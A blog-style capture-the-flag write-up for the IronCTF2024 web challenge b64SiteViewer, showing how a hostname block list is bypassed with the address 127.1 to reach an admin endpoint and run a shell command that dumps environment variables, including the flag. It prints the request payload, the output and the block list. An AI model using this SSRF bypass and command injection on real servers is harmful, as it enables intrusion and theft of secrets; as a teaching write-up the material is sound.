Post

IronCTF2024 web/b64SiteViewer

My solution for IronCTF2024 web/b64SiteViewer challenge

Challenge overview

B64SiteViewer

The b64SiteViewer challenge involves a Flask-based web application with two main endpoints that performed URL fetching and command execution. The goal is to bypass the security checks to ultimately retrieve a flag from the server.

Application structure

Home route allows the user to enter a URL and then tries to fetch its contents using urllib.request.urlopen(). It checks the URL scheme and hostname against a blacklist to prevent accessing internal or dangerous resources.

Blacklisted schemes: file, gopher, php, ftp, dict, data
Blacklisted hostnames: 127.0.0.1, localhost, 0.0.0.0, ::1, ::ffff:127.0.0.1

If the provided scheme or hostname matches the blacklist, the request is blocked. If the URL is allowed, the server fetches it and returns the content in base64 format.

Admin route only allows access from 127.0.0.1 or localhost and provides the functionality to execute a command using the cmd parameter. If accessed successfully, the command is executed with subprocess.run(). The command undergoes basic filtering to prevent certain specific dangerous commands or characters.

Analysis

The application code presents two main vulnerabilities:

  • Hostname blacklist bypass
    The application checks the hostname against a specific list of restricted addresses (127.0.0.1, localhost, etc.). However, variations of localhost, like 127.1, are not on the blacklist and still can point to the loopback address.

  • Insecure command execution
    The /admin route allows for command execution using subprocess.run(). Although basic filtering is applied, it’s not fully prevent command injection. The lack of sufficient checks enables an attacker to execute commands that are not explicitly blacklisted.

Identifying the vulnerabilities

Hostname check bypass
The blacklist restricts specific localhost addresses, but using an IP variation (127.1) bypass the check while still resolving to localhost.

Command injection on /admin The /admin endpoint permitts arbitrary command execution if the IP check is bypassed. The command validation logic has a weak filtering that allows for the execution of benign commands, which eventually revealed sensitive data, including the flag.

Crafting the exploit

Bypass the localhost check
The hostname blacklist are not include all variations of localhost. By using http://127.1:5000/admin?cmd={command}, access to the /admin route can be achieved without triggering the blacklist.

1
2
3
4
POST / HTTP/2
Host: b64siteviewer.1nf1n1ty.team
[...]
url=http://127.1:5000/admin?cmd=set

Execute commands
After accessing the /admin endpoint, a command like set can be passed in the URL to test if commands could be executed. The response contains environment variables, including the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
IFS='     
'
LC_CTYPE='C.UTF-8'
OLDPWD='/'
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='2'
PS1='$ '
PS2='> '
PS4='+ '
PWD='/home/user'
SHLVL='1'
WERKZEUG_SERVER_FD='3'
_='/usr/local/bin/python'
flag='ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}'

Flag:ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}

Conclusion

This challenge demonstrates how weak input validation and reliance on blacklists for security can be bypassed by clever variations. By exploiting the blacklist limitations on localhost variations, and insecure command handling, the flag can be successfully retrieved.

Key takeaways

  • Blacklisting can be ineffective: Instead of blacklisting specific IPs or hostnames, a better approach is whitelisting only the acceptable hosts.
  • Dangerous command execution: Avoid running shell commands directly based on user input, or use stricter filtering and sanitization.
  • Thorough input validation: Always consider all possible variations when implementing input validation to ensure comprehensive security.
This post is licensed under CC BY 4.0 by the author.